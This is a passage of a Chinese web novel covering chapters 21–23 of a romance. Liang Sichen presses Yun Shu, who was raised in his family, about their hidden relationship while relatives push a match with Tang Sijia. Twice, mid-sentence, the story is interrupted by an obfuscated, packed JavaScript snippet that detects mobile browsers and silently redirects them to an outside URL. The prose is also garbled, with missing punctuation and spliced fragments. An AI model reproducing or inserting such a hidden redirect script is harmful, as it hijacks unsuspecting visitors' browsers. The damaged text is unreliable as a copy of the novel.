不知道为什么想起汤斯嘉博亚的汤赫平唯一的独生女。 她和梁思谌差不多同龄两年前的那个冬天周阿姨就在试图安排两个孩子见面。 但一个在美国一个在英国梁思谌不想见各种托词对方不知道怎么想 不过据说年初已经回来了在一家大型服装公司做某个系列的特邀设计师同时也在筹建自己的品牌。 云舒见过她的照片很漂亮、明艳落落大方和梁思悯是一类人但更温婉一些。 云舒勉强笑了笑那笑容既有解脱又有苦涩那一瞬间她并不能确定自己怀抱着何种的心情只是回答:“应该也不是很多人只是觉得相亲比较容易遇到……不正常的人。” 周邵红点点头若有所思了会儿突然感慨一句:“小舒你也不小了在学校有遇到喜欢的人吗?” 人在心虚的时候反而会特别冷静云舒去钻言语的漏洞认真说:“学校课业挺重的我不太出门也很少参加活动几乎不认识什么异性。” 因为她同梁思谌在一起也根本不会去关注别人。 周邵红有些遗憾:“你选的这个专业也的确是太辛苦了。” 云舒没再说话一直到办公室脑子都乱乱的。 反复在想相亲的事如果梁思谌和汤斯嘉相亲她们大概会很相衬吧无论从哪个方面来讲都是很匹配的。- 开完会出来梁思谌跟在母亲身后扶了下眼镜:“妈亏你想得出来叫云舒陪你来上班你嫌她在家里太清闲?” 周邵红瞥他一眼:“碍着你什么事了?” “谁养大的谁心疼。”梁思谌淡声说道。 身后他的助理都忍不住抬了下眉头,像是听到了什么家族秘辛。 周邵红忍不住拍了他一巴掌:“胡扯八道什么,要点脸。” 梁思谌唇角绷得笔直,不耐烦地发出一声意味不明的哼声:“她最近心情不好,你别闹她了,让她回家休息吧。” 他知道母亲是好心,梁思悯毕业就去环球旅行了一个多月,跟自己几个外国朋友满世界疯玩,大概是疯野了,回国怎么都不得劲,没几天就南下去南城了,短时间内大概不愿意回来。 他现在刚进公司,忙到一天到晚不在家。 云舒性子安静,朋友本来就少,家里又没人,周邵红想要带她出来散散心。 可她大概不会知道,现在她最不想跟她和爸待在一起。 周邵红看了儿子一眼,这一看就是知道点什么,狐疑道:“又是你惹的?” 梁思谌扯了下唇角,半晌干脆认下了,“嗯。” “从小到大对她最好的是你,没事总惹人家的也是你,你是不是有病?”周邵红一向不太干涉两兄妹和云舒的相处,多养一个孩子并不是那么简单的多添一双碗筷的事。 她很少干涉只是觉得在这个家里,她和梁祯元夫妻两个毕竟是长辈,再亲近也很难和孩子们变成真正平等的朋友。 云舒如果想要在家里过得舒心,还是要看两兄妹对她的态度,甚至早些年她都想过,如果兄妹两个无法接受,她会给云舒另行安排去处。 所幸他们相处得一直不错,尤其梁思悯,她在国外长大,接受的思想和教育和国内稍稍有些偏差,她这个人连梁思谌都不放在眼里,俩人一言不合就吵架,一度要动手,丝毫兄友妹恭的氛围都没有。 如果她和云舒处不来,那真的会让她很头疼。 但她最担心的梁思悯却一直很喜欢这个妹妹,对她并不算热络,但无论大小事上都称得上亲近和友善。 她那种自我的性格,都常常骂梁思谌神经病,觉得他对云舒忽冷忽热,一会儿好得过分,一会儿差劲得离谱。 周邵红这几天虽然在忙,但还是很留意云舒,她最近常常把自己闷在家里,什么也不做,只是坐在影音室里一部接一部地看电影,蔡姐说她不间断地看,眼睛一眨不眨的,看起来很专注,但更像在走神。 好不容易去参加同学会,回来情绪好像更差了。 她实在没想到是梁思谌这个 狗东西。 挨了句骂,梁思谌反倒笑了下,“我确实有病。” 周邵红抬手要打他,忽然发现这孩子已经长得这么高大了,两个人并肩走在一起,儿子都比自己高一个头了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414191|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她需要把手扬很高才能打到他脑袋。 是啊,早上还在说,他都快二十六了。 “你都这个年纪了,一点做哥哥的样子都没有。你到底干什么了?” 有那么一瞬间,梁思谌很想不管不顾地坦白,但想到她昨晚的样子,忍不住又有点烦躁,他不想逼她太紧,更不想再听她说一句“算了”。 “我跟她的事,你别管。” “我管不了你了?”周邵红点点头,“我限你今天内哄好了,不然我跟你爸讲,让他去管你好了。真是皮痒了,跟你妈叫板。” 周邵红碎碎念,“小舒的性格也是软,要是梁思悯早就把你脸给挠稀巴烂,我看以后要给小舒找个强势点的老公,不然不得被你欺负死。” 说完,似乎又觉得不妥,“太强势也不好,万一受欺负的是小舒呢。我还是觉得汤家那几个孩子不错,改天让小舒去见见。” “妈!”梁思谌一句“我不许”差点就脱口而出,他皱着眉,“你别添乱,她还小,见什么见,一个个歪瓜裂枣的,你可真会挑。” 周邵红掐他的胳膊:“汤家好歹和我们家有私交,你胡扯八道什么。而且人怎么了?至少比你懂礼貌,说话好听。” 梁思悯不喜欢汤家那几个小辈,觉得性格软,但读书人,身上书卷气重一点,也不是什么坏事,看起来温文尔雅,一看就教养很好的样子。 梁思谌不悦地抿了下唇,半晌又强调一句:“她的事我会管,你不要插手。” 周邵红气得脑仁疼,进办公室的时候还在扭头跟徐颖说:“梁思谌以后生了孩子,我看比他爸还烦人,强势霸道不讲理,到底谁给他惯的。” 徐颖笑了笑:“少爷还年轻,性子傲了点,脾气……确实有点……但也不是坏事,他不是是非不分四六不通的人,至少镇得住场子,他入职这一个月,手底下人被他管得服服帖帖,公司里对他印象很不错的。” 年轻、野心勃勃,虽然强势冷漠了点,但赏罚分明,张弛有度,大小事处理得井井有条,身上毫无年轻人的青涩和莽撞,沉稳老辣,很有梁董的风范。 周邵红不是在说这个,但也没再说什么。 云舒听到梁思谌的名字,下意识绷紧了背,迷茫地看着周阿姨和颖姐。 她最近的状态实在太糟糕。 周邵红微微叹了口气,到云舒旁边坐着,攥住她的手,语重心长说一句:“梁思谌也不是什么好东西,不要因为他对你好你就要事事包容他。他要是惹了你,你跟阿姨和叔叔说,我帮你做主,你实在不想说,那觉得不高兴就同他吵,吼他,你就是打他一顿又如何,他敢还手都不用他爸,我就能把他腿打折,哪有做哥哥的天天欺负妹妹,你也是太惯着他。” 说完,眉头都忍不住皱起来,“你这样是不对的小舒,你再爱一个人,都不该无条件包容他,对谁都应该这样,我知道你是个好孩子,一直觉得受照顾,但不是这么算的,选择留下你是叔叔阿姨的决定,每个人都要为自己的选择负责,你那么小,叔叔和阿姨既然做了决定,就有照顾你教养你的责任。我们不求你回报,更不希望你为了想要回报而容忍一些错误的发生,这违背我们的初衷。而且我们相处这么久了,早就是家人了对不对?家人的确要互相包容,但不能只一味地包容别人,觉得不舒服不高兴了就要讲出来,哪怕吵吵闹闹都没关系,解决的是事情,并不影响我们还是一家人。” 周邵红很少这样同云舒促膝长谈过,因而这会儿忍不住多说了两句,但看她神色,又觉得自己是不是一直以来都不够关心她,她和梁思谌梁思悯不同,那么小就失去父母,性子敏感,人又柔弱,难免会更需要关心和爱,她一直觉得梁思谌照顾她教育她都挺好的,但却并没意识到,他们本质上是同龄人,她不该把自己的责任转移到同样是孩子的梁思谌身上。 她是刚刚同梁思谌说话,突然意识到,两个人的关系似乎有了一点扭曲,并不是她以为的那么兄妹情深。 云舒眼泪啪嗒啪嗒往下掉。 那是一种下意识的生理反应,一个人可以忍受很多委屈,但被爱着的人关心就会内心失控。 所有积压的惶恐不安在这一刻骤然爆发,尽管她知道自己不该委屈,也不该在周阿姨面前崩溃,可她还是难自控地想要从她这里寻求温暖。 周邵红把她轻轻抱进怀里,她从小养到大的孩子,怎么不心疼,顿时气不打一处来,冲徐颖使了下眼色。 徐颖跟夫人太久了,一个眼神就知道怎么回事,于是过去请少爷。 梁思谌推开董事长办公室的门,就看到云舒窝在他妈怀里,她哭起来无声无息的,眼泪断线的珠子一样往下掉,眼神像某种食草动物,温和无害,带着对世界的惊恐和无助。 偶尔抽噎一下,周邵红都会心疼地轻拍她的背。 梁思谌:“……” 云舒其实是个很倔强的小孩,柔弱,但是坚韧,从小到大很少哭,因而哭起来的杀伤力惊人。 他丝毫不怀疑,她再哭两声,他妈会当场用高跟鞋把他拍死。 作者有话要说 来啦 第 22 章 她出一点事我把你... 周邵红没能把儿子拍死,因为云舒害怕他乱说话只情绪失控几分钟突然像是醒悟般,脸色苍白地抬头看他,那一眼看得梁思谌异常恼火因为那眼神里分明写着恐惧和哀求仿佛在说:求求你不要说。 她从来就没有真正接受过这段感情,哪怕她也曾情真意切地告诉他,她心里有他给她一点时间可这么久了,她其实根本没想好也始终把他放在末尾。 这世上一切都很重要,唯独他不重要。 这段感情排在所有的感情后面。 而她甚至都不明白他一直在恼火什么。 “云舒我们单独谈谈。”他声音平静,眼睛一瞬不瞬盯着她看,但仿佛游走在失控边缘,那眼睛里有压抑的风暴。 云舒点点头看周邵红一瞬间拧起的眉她抿了下唇,小声说:“阿姨,我没事以前的一个朋友发生了一点事,让我感觉到有些困惑,哥哥他一向不喜欢我优柔寡断,就讲了我两句他没欺负我我就是……心情不好。” 周邵红意识到这件事没这么简单但孩子们都大了强行管教也会适得其反所以她没有再逼问只是说:“有什么不开心的都可以跟阿姨讲你要是有什么发不出来的火可以当着阿姨的面跟他吵阿姨给你做主。或者你打梁思谌一顿出出气不需要理由你看着啊……” 周邵红突然拉过梁思谌 梁思谌无奈后退半步:“妈……” “就这样。”周邵红挽着云舒的手“打他他还能还手吗?” 云舒勉强挤出一个笑“嗯。” “没事阿姨我和哥哥……单独说吧。” “走吧。”梁思谌实在没心情看她们母女情深。 他带云舒去了他办公室临走前周邵红还是不放心在身后踹了他一脚“收收你的破脾气不然我打死你算了。小舒大了你别总把她当小孩。你说话能不能好听一点会不会哄人?难怪你单身一辈子。” 呵。 他单身怪谁。 而且他也没把她当小孩。 办公室的门刚合上梁思谌就一边摘眼镜一边扯领带脸色阴沉云舒便站在门口不过去。 梁思谌坐到沙发上才看到她站在那里不动仿佛一副待宰羔羊的模样。 他冷嗤一声:“过来我能吃了你?我就想不明白了云舒人被拿捏着把柄才会选择忍气吞声。我都快把我的底牌全掀给你了求你看我一眼换个光明的身份就 这么难?我妈叫我的时候我甚至还有点高兴,我心想你哭得再痛点,她打我越狠,可能我俩能成的几率就越大,毕竟我从小到大极力争取的东西不多,这样够显示我的决心了。况且她也不一定会反对。 云舒这才缓慢走过去,梁思谌的办公室一眼就是精心准备过,每个细节都考究,他作为梁氏唯一的继承人,从小到大,所有的一切都是最好的。 恐怕确实如他所说,第一次这样憋屈。 她在他对面坐下来,缓慢地弯腰伏在膝盖上,半晌才说一句:“哥,对不起。 今天真的太糟糕了。 “你知道我不想听这个。- “然后呢? 晚上一块儿吃饭,杜少霆听他绘声绘色讲那一幕,饶有兴味地问后续。 “她这样老是逃避也不是办法,倒也不是别的,每天活得提心吊胆,我都怕有一天你在天台见到她。 梁思谌心脏莫名抽痛一下。 骂了句:“滚蛋,说什么。 杜少霆忙举手:“好好,呸,我这晦气的嘴。我就是想说,精神一直紧绷是要出事的。 半晌,梁思谌才冷笑一声,“我当时真的很想顺势坦白,错全揽在我身上,挨顿打又如何,我觉得划算得很。结果她哭完了,自己又往回找补,说最近心情不好,跟我无关。我能说什么,我硬生生撕开个口子,再逼她一回,我妈不反对还好,但凡我妈表现出来一点犹豫和痛苦,我都怕她当场抹脖子,又不是真的是个畜生。她怕得整个人都快碎掉了。 “想个办法吧,这么耗着你俩迟早崩溃一个。这么久了,杜少霆从最开始的不赞成,到现在也快习惯了。梁思谌这种性格和脾气,耐着性子陪她玩了这么久的地下恋,也算真心可鉴了。 梁思谌烦躁地扯了下领口,今天一天都觉得气闷。 很想骂脏话。 杜少霆沉默片刻,突然抬头:“我给你出个馊主意,你爱听不听,别骂我。 梁思谌有一万种办法来解决这件事,他只是不想再逼她。 “既然是馊主意,就别提了。他没好气,“别给我添乱。 杜少霆笑了下,还是开了口,“汤赫平的独生女年初回国了,她家里人一直想撮合她和你,她似乎也有点意动,托人私下里打听过你几次。你在圈子里高冷惯了,没什么交心朋友,自然就捅到我这里了。我觉得你不如去见见她。 “你这主意可真够馊的。梁思谌意会,猜到他什么意思,旋即冷笑一声,“你怕 是想多了,我哪怕愿意退一丁点,她都会如释重负地把我往外推,什么汤小姐赵小姐,如果我不逼她,她估计都能亲自说媒,真心祝福我另觅新欢,喜结良缘。你太不了解我们家小妹了,最柔弱的脸,最薄情的心。 杜少霆都听乐了,“你这语气,跟个深闺怨夫似的。不试试怎么知道呢?这么久了,她要是对你一点都没感情,我不信她能跟你周旋这么久,无非就是顾虑多,人有时候不是拥有的太少,是选择太多,要适当地剥离才能看清自己的心的。而且别怪我说话不好听,阿谌,如果她真的不在意你,那你还是早日放手的好,不然到最后伤心伤肺,还失去一个妹妹,何必呢。你说她不放不开,你也没放过自己啊。 梁思谌的脸色冷下来,“我不可能放,我情愿到最后面目全非她恨我。- 云舒那会儿从公司出来后,程雪晴盛情邀请她去骑马。 这样的天气,烈日如烤,地上放俩玉米豆子恐怕都能爆个米花,云舒问她:“你发烧了吗?怎么净说胡话。 程雪晴便足足笑了三十秒,说:“舒舒你怎么这么幽默,去哪里进修了。 倒也不是这句话说得多么妙,只是云舒很少同人这样说话,配上她那张温和宁静的脸,有种突兀的冷幽默。 云舒抿唇沉默好久,意识到自己其实和梁思谌越来越像了,她好像只在他面前恐慌无措,可在外人面前,她有时候仿佛是另一个梁思谌。 梁思谌在办公室里逼视她,说:“你知道我想听的不是这个。 她的心狠狠颤动一下,许久才回答他:“哥,等我到毕业,好不好? 梁思谌显然不满意,整张脸冷若冰霜:“所以我还要继续当你见不光的地下情人,我们不能光明正大约会,我牵你手之前要先去看周围有没有人,我们只配关上门在房间里做亲密的事,而我连去你房间都是一种错误。我可以忍受,云舒,这是我自己求来的,你呢?你就这么打算这么跟我处着。 云舒不说话,他像是失望,闭上眼:“我让人送你回去,好好休息,我妈那里我去处理。 他的表情太冷了,冷得像是对她毫无感情,但如果不爱她,为什么那么蛮横地逼迫她和他在一起? 云舒没有答案,只有一腔苦涩,她甚至觉得自己需要一个心理医生来纾解,她已经走到了情绪的死胡同里,无法找到出口。 她爱梁思谌吗?这个问题从他们刚在一起的时候他就想过,她是爱他的,可他们之间有横亘了太多东西,她输不起。 比如一段前途未知的感情她更珍惜他们之间的亲情。 亲情是相对恒久的她喜欢稳定、长久的东西。 她们最终没有去骑马程雪晴带她去见几个朋友她性子喜静很少参加什么聚会但突然很想把自己埋在热闹的人群里来消解孤独和愁闷。 吃饭、聚会晚上一起去喝酒。 程雪晴开了一家酒吧邀请了著名的乐队来串场她们也混在人群里跟着拍子跳动云舒喊叫了两声声音淹没在鼎沸的音乐和喧闹里没有人听见也不会打扰任何人她终于开心了一点。 程雪晴亲自调鸡尾酒给她喝:“这个呢叫今夜不回家。” 云舒端起来轻抿了一口整张脸都皱起来。 程雪晴便笑忙把杯子夺回去:“几种烈酒放一起调的太烈了连我都喝不了。你哥哥呢就像这杯酒没几个人能受得了况且还是你这种本身就滴酒不沾的人。要么你就把他果断丢开要么你就只能一小口一小口慢慢抿了。来酒吧买醉的人多的是不自量力逞强的明明喝不了但就是要喝喝的哇哇吐我看他们一边痛苦一边也挺爽的。爱情也一样谈合不合适也太没劲了小舒人有时候就是需要冲动和激情的。就看你能不能承受愿不愿意承受冲动和激情后的代价了 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哥倒是从小认识,那会儿是我们两家关系最好的时候,但我那会儿特别怕他,见他连话都不敢说,他好像也不太喜欢我…… “嗯,其实他谁也不喜欢,他这个人从小就凉薄,在同龄小孩里显得格格不入。倒是对你很不一样。有一天他突然找我,给我吓一跳,你肯定不知道,我最开始是他花了巨额的礼物钱给你买来的好朋友。 “因为他发现你交朋友很困难,班上很多人知道你是梁家的养女,对你又抱着一种微妙的态度,他就害怕你越来越孤僻。 “他当时找上我还是精挑细选呢,觉得我性格好脾气好,乐观开朗,不然你不会以为真的那么巧,我正好就在你们班吧,啧,有钱真的可以为所欲为。当然,后来我是真心很喜欢你想和你做朋友的。” 云舒睫毛微微颤抖。 程雪晴哈欠连天,心道梁思谌怎么还不到。 他不应该飞过来吗? 从小到大她最费解的事就是,到底梁思谌是不是在云舒身上装定位器了,每天阴魂不散,干什么他都要插一脚,恨不得二十四小时盯着她。那种程度她反正是受不了,她骨子就讨厌被管教,所以根本就没想过,这俩能发展出兄妹之外的感情来。 但后来她又觉得很合理,感情有时候莫名就对上频率了。 云舒这种极度缺乏安全感的,或许说不定喜欢被人这样用尽全力地在乎呢? 她继续道:“其实今天也是他找我,让我约你出去玩的,她怕你一直闷着闷坏了。这事儿在我心里憋很久了,我不知道我该不该告诉你,很多时候我都是他观察你的眼睛。我喜欢你,我们是好朋友,但又觉得我接近你的目的不纯,我还收了他很多好处……所以我没有说过,不过后来我也不帮他了,因为我觉得更在乎你的感受。你不知道,他这个人真的很大方,拒绝他很困难的。” 云舒刚想说点什么,有人在叫老板。 程雪晴抬头,仔细听了听,原来是有人在闹事,她皱了皱眉,不耐烦道:“叫保安,不然就报警,别吵我,我有事走不开。” 值班经理看她闲着也没事,哀求道:“老板你去看看吧,对方是汤家的,得罪了不太好。” 衍城就这么大,那几个富豪都有名有姓的,她做高端店,对这些二代们更是如数家珍。 “汤?”程雪晴家里硬攀着梁家做亲戚,梁家的交际圈还是知道得门清的,之前汤家的太太想撮合梁思谌和汤斯嘉,她妈还酸酸地说:“你怎么就不能努努力?” 程雪晴当时都气笑了:“妈,虽然母不嫌子丑,但你好歹仔细看看我呢,你觉得我和汤斯嘉比,到底哪里有可比性啊。还是你觉得咱们家有矿?真是疯了。” 程雪晴再次皱皱眉,想起梁思谌说云舒出一丁点事就把她店拆了,顿时又坚定起来,挥挥手:“什么汤啊面的,来我这儿撒野我还得供着?得罪就得罪了,我真走不开,看到这边这个了吗?梁家的掌上明珠,她哥说我让她出一丁点事就把我店拆了,我哪管得了那么多。” 她捏了捏云舒,反正她手里捏着免死金牌呢。 大不了就威逼利诱梁思谌帮她出面解决。 作者有话要说 来啦 只能算一章半,这章红包补偿一下,明天更新时间九点左右 第 23 章 汤小姐。 汤斯嘉回国后,常听家中长辈提起,梁家那位长子如何优秀,听多了,便忍不住生出一些叛逆,想要看看什么天子骄子,值得家中长辈惦念这么久,两年前就在游说,到现在还没有放弃。 托了人打听,要来一些资料和照片,有一张是偷拍,在拉斯维加斯大道,夜幕降临,霓虹闪烁,他手插在口袋里,身侧跟着一个女生。 那女生模样乖巧,他侧身,正同她讲话,眉目严肃又温和,被抓拍到。 据说是朋友拍的,异国偶遇,拍照来逗他。 他的肩上还背着女士的单肩包,样式略显秀气,大约是他身旁女孩子的。 “这是他女朋友?汤斯嘉指着照片上边缘都被虚焦了的女生问。 打听的人一笑:“汤小姐是真的不大关注周围的事,这是梁家那位太子爷的妹妹。 圈子里,没几个人不认识的。 梁少爷如珠似宝捧在掌心的,同梁家亲生的也没两样。 汤斯嘉挑眉:“梁思悯我还是认识的。 声名在外,张扬野性。 任性骄纵的梁大小姐,可比她的哥哥要有名的多,年轻一辈的名流圈子里,到处传扬着梁小姐的“恶名。 那人一笑:“另一个妹妹,早些年家中出变故,从小养在家里的,同亲生没两样。 因为梁少爷护短,从很小起,就厌恶别人一直提他妹妹的身世,因而现在哪怕没人在旁边,透露消息的也未明说是保姆的女儿。 汤斯嘉出于某种直觉,下意识说了句:“他们更像是情侣。 兄妹之间感情甚笃的并不是没有,但哪怕是一张照片,汤斯嘉都敏锐地察觉到那一丝微妙的不同。 “哎哟汤小姐,这可不能乱说。- 车子滴滴滴响着,司机抱歉地冲着车后座的女人颔首:“抱歉大小姐,这边有些堵车。 汤斯嘉刚刚从公司出来,一身米白职业套装,耳朵上挂着蓝牙耳机,还在听会议内容,倏忽掏出手机打字,痛斥设计助理的荒谬提议。 夜晚的霓虹折射进车窗,给她打下一片侧影,衬得那张脸越发立体醒目,她是个纯中国人,但五官立体深邃得过分,是一种直观而抓人眼球的美,但因为性格偏冷,显得那张脸也越发冰冷锐利。 那日堂哥半开玩笑说:“其实你同梁家那位还是蛮般配的,同样的凉薄无情,面相也很合。两家强强联合,无论从哪方面来讲都不亏,况且,你也不是一个重感情的人。 那意思是,这段感情十分 有利可图同谁结婚都没差还不如选一个各方面条件都不错的。 梁思谌的五官就偏深邃立体线条凌厉压迫感十足。 汤斯嘉当然看过照片不满道:“感觉全世界都在撮合我跟他。” “因为明眼人都看得出你们各方面都匹配年轻一辈里他各方面来讲已经算翘楚你们各自眼光都高所以才会想要把你们两个凑一起。左右你去见见聊一聊说不定志投意合呢。” 汤斯嘉其实已经软了态度妈妈十分高兴地打算同梁家的母亲见一见安排两个晚辈吃顿饭。 只是没想到未等到安排在酒吧这种乱糟糟的场合先遇到了。 司机把车停在酒吧门口汤斯嘉带着一个保镖进了酒吧留司机去泊车。 酒吧还是很热闹卡座上汤煜恒正红着眼同一个女生纠缠不清身旁朋友都在劝却也不敢强硬去拉扯他汤家这位小少爷实在是个情种平日里斯文儒雅看起来毫无攻击力在女人的事上却频频失控。 他面前是他的初恋女友家境贫寒偏又倔强两个人分手闹得轰轰烈烈只说两个人不是一路人女方近乎是单方面分手不告而别。 没想到时隔三年又在这里狭路相逢还是这样的场合那女人跟着中昇一个总监来的薛总业内出了名的不婚主义每次带出来的女伴都不重样自然同包养也没区别隔三差五换一个同换一件挂饰也差不多。 所以小少爷破防了他从前珍而重之捧在掌心的人如今却变成了别人豢养的金丝雀这让他一腔真心仿佛成了一个笑话。 于是闹起来他给了薛总一拳揪着他衣领问他是不是逼她。 薛锐不耐烦地碰了下渗血的唇角旁边人提醒是汤家的人。 中昇是梁家的梁汤两家最近走动频繁还有意撮合晚辈生意往来频繁日后也难保不会是一家人薛锐忍下了 汤煜恒看他态度更恼火转头要前女友跟他走女生不愿意旁边人想要做和事老要拉汤煜恒走但他罕见地固执非要带女生走到最后薛锐甚至都偏了下头同女生说:“你去把你的事情处理干净。” 女生只是摇头后退半步:“我跟他没有关系。” 个中复杂曲折让人叹为观止原本热闹的酒吧现在像是个三流电视剧拍摄现场一群人就这么诡异地僵持在了这里。 汤斯嘉受叔母的托付来捞自己的弟弟挤进人群拉他手腕:“不要胡闹 跟我走。” 汤煜恒仍旧不甘心红着眼挣脱了一下。 汤斯嘉便抬手给了他一耳光。 “啪——”利落干脆。 她一句话没讲只眼神冷静到凉薄无声直视他那种极端的冷静和理智有时候显得残酷但却让汤煜恒逐渐清醒他微微垂下头转身离开了。 所有人松了口气却也忍不住多看了这位汤小姐一眼。 媒体曝光过她几次名校、海归显赫的家世和优越的皮囊镜头前的她显得温和许多私下里却更冷静薄凉一些。 薛锐憋屈了一整晚这会儿还是提起一口气 汤斯嘉知道怎么回事伸手握上对方的手:“我弟弟不懂事给薛总添麻烦了祝您和女朋友玩得愉快今晚我买单算一点微小的补偿改日我单独请薛总吃饭。” 薛锐的憋屈这才消散一点微笑了下:“汤小姐客气了不是什么大事您不必放在心上。好好劝一劝令弟有些事太执拗了不好。” 汤斯嘉笑了下没再多说提起桌上一瓶酒倒满杯一饮而尽:“这杯我敬薛总给您赔不是了。” 一场闹剧结束汤斯嘉颔首告辞。 转身走了两步正好看到一旁西装革履的男人来这种场合作这种打扮的不多况且他身型略出众叫人一眼能看到。 汤斯嘉沉默片刻停住脚步等那人走过来。 云舒没有醉得不省人事更没有睡着她甚至看了会儿热闹汤斯嘉过去的时候她远远也看见了。 刚看完热闹梁思谌不知道什么时候到了脱下外套裹在她身上弯腰把她抱起来甚至都没试图同她说话大概是想到上次她喝两口利口酒都醉丝毫没怀疑她是装醉。 云舒心脏闷闷的说不上的感觉她很介意在人前同他有任何肢体接触但大约酒精麻痹人的大脑她忽然一点都不想动任由他把她抱起来甚至熟练地搂住他的脖子。 那种感觉像是在吸血鬼暴露在日光中是一种浑身疼痛的焦灼感想要逃避想要挣脱可又贪恋地把自己的脸贴在他胸口。 哥哥…… 她无声叫他眼睛变得很酸涩。 梁思谌察觉到了她的亲近自嘲地扯了下唇角也只有喝醉了不会避他如蛇蝎还会主动把脸靠在他胸前真是稀奇。 他拿起她的包侧头同程雪晴说:“辛苦了人我带走了。” 他的助理就跟在他 身侧,一个面容严肃冷酷同他差不多的男人,旁边还有两个保镖,人高马大,其中一个似乎还是外籍人,皮肤黝黑,身材魁梧,感觉谁不小心撞上去可能还要弹开。 梁思谌一向低调,也很厌烦被簇拥,每次在云舒的事上却极尽高调,声势浩大。 他 这种明目张胆的偏爱,连程雪晴都看出来,云舒却只当他是出于哥哥的责任感。 程雪晴笑了笑,做了个“您请便”的手势。 梁思谌看到等在出口处的汤斯嘉,汤小姐一手插在口袋里,姿态略松散地一手按着手机,看到他走过来,从容把手机塞进口袋,把手从口袋里拿出来,微微站直:“梁……大哥。” 她选了一个稍显亲近的程度,来表明两家的关系,和她的态度。 梁思谌撇她一眼,停顿片刻似乎才意识到她是谁:“汤小姐。” “叫我汤斯嘉就行。”她扯了下唇角,目光落在他怀里的女生身上,她身上裹着梁思谌的外套,一张脸烧得通红,连眼眶都泛红,看起来有种破碎的美感。 但她无心欣赏美丽,只是觉得那种直觉越来越清晰。 她笑了笑:“这位是你妹妹吧。” “嗯。”梁思谌并不知道她特意等在这里是要做什么。 “你下午联系过我,我想和你单独谈谈,给我十分钟时间,可以吗?” 梁思谌思忖片刻,“可以。” 他把云舒抱到车上,然后就离开了。 云舒被他放平在车后座,还细心盖了毯子,车窗留出一条缝隙,夜晚的风灌进来,带着咸湿闷热的水汽。 可能要下雨了。 不知道为什么,连心脏都像是空了,呼呼往里灌着风。 她睁着眼看车顶,忍不住想:“他们去做什么了?” 梁思谌下午联系她了吗?是因为什么? 他们……是不是要相亲了。 他不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414193|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种同她恋爱还会和别人相亲的人,哪怕他们的关系暂时还见不得光。 但她忍不住想起离开他办公室的时候,他半闭着双眼,那微弱的疲惫和失望。 或许他真的累了…… 司机不敢上车,站在路边抽烟,云舒折起身,隔着后车窗远远看了一眼,两个人就站在路边,汤斯嘉个子很高,大约有一米七五了,那张脸比屏幕上看到的更美更有冲击力,但气质更冷一点。 但和梁思谌站在一起,分明就是同类人。 云舒突然觉得,怪不得她母亲和周阿姨一直试图让两个 人见面,他们确实看起来很般配。 十分钟,不多不少,梁思谌回来,拉开车门的时候,云舒蜷缩着把自己缩进角落里,半阖闭双眼,看不出喜怒,只是莫名显露几分委屈。 其实从刚才梁思谌就在怀疑她没有醉,放她到车上的时候,他差点碰到头,她还拿手垫了一下,只是动作轻悄,打量他没发现,悄无声息又收回去,闭上眼,睫毛微颤。 这会儿梁思谌看她状态,似乎更确定一些,但也并不拆穿她,只是掐住她的腰,把她整个抱过来搁在腿上,在她挣扎的片刻,束住她双手,眼睛如鹰般凝视她的脸,等她不动,捏住她下巴。 以往他这样,总是要吻她,云舒睫毛忍不住再次颤动几下,他却微微偏头,放过了她,出神看窗外。 司机上了车,请示后开往公司附近他购置没多久的公寓,顶层的复式,能俯瞰半座城,莲江如玉带般分割南北。 云舒装不下去,颤颤巍巍叫了声:“哥……” 压抑如海啸的情绪兜头翻涌上来,推开家门的那瞬间,梁思谌凶狠吻上去,脊背撞上墙壁的前一秒,他的手垫上去,骨骼同骨骼碰撞在一起,生疼。 云舒噙了一滴泪,吻得悲伤又压抑。 或许这是最后一次了,她莫名有一种直觉。 似乎真的走到了绝路,似乎他真的打算放过彼此,他今天心事重重,是因为犹豫动摇了吗? 他同汤斯嘉联系,能有什么事。 除了联姻,应该也没别的事了。 汤斯嘉扇她弟弟那一巴掌好像也扇在她的脸上,执拗和看不开是一种罪过,矫情仿佛是一种病症,她既拿不起也放不下。 如果是她那种女生,应该能很好地处理这件事。 他们才是能同行的人。 云舒哽咽着,咽下一滴泪,苦涩在口腔蔓延,舌尖被吮得发麻,她快要不能呼吸,仿佛溺水的鱼,在拼命汲取氧气。 她抱紧他,身体紧紧攀在他身上。 明明该如释重负的。 明明想要结束这段扭曲压抑又悲伤的关系,想要和他只做兄妹。 可为什么会这么难过。 她第一次主动去勾引他,像是在引诱他犯戒,急切又茫然地小口啃噬他的脖颈,轻咬他的喉结,叫他的名字:“梁思谌,我好热。” 梁思谌下意识以为谁给她喝的东西里下药,抬手去摸她脑袋,察觉到并没有大碍,才俯身撑在她身前,圈出小小的一片领域,凝视她:“然后呢?” 云舒半路退缩, 微微偏过眼神,睫毛都刮在他脸上,呼吸落在他颈侧:“我想去洗澡。” “自己能洗吗?”他问她,像暗示,也像引诱。 又或许,只是担心。 云舒分不清,她现在什么都分不清,只是凭本能去回答:“或许……不能。” 她暗示。 梁思谌却沉默,许久,看她快要站不稳,扶住她,声音却恢复凉薄和冷静:“我叫蔡姐过来照顾你。” 云舒压抑的难过顷刻间爆发,眼泪滂沱而下。 “哭什么?”他的语气里全无温柔和爱怜,只有冷静和锐利。 “说话。”他捏住她下巴,迫使她抬头。 云舒瞪着他,不说话。 手机突兀地响了,打破两个人之间剑拔弩张的气氛。 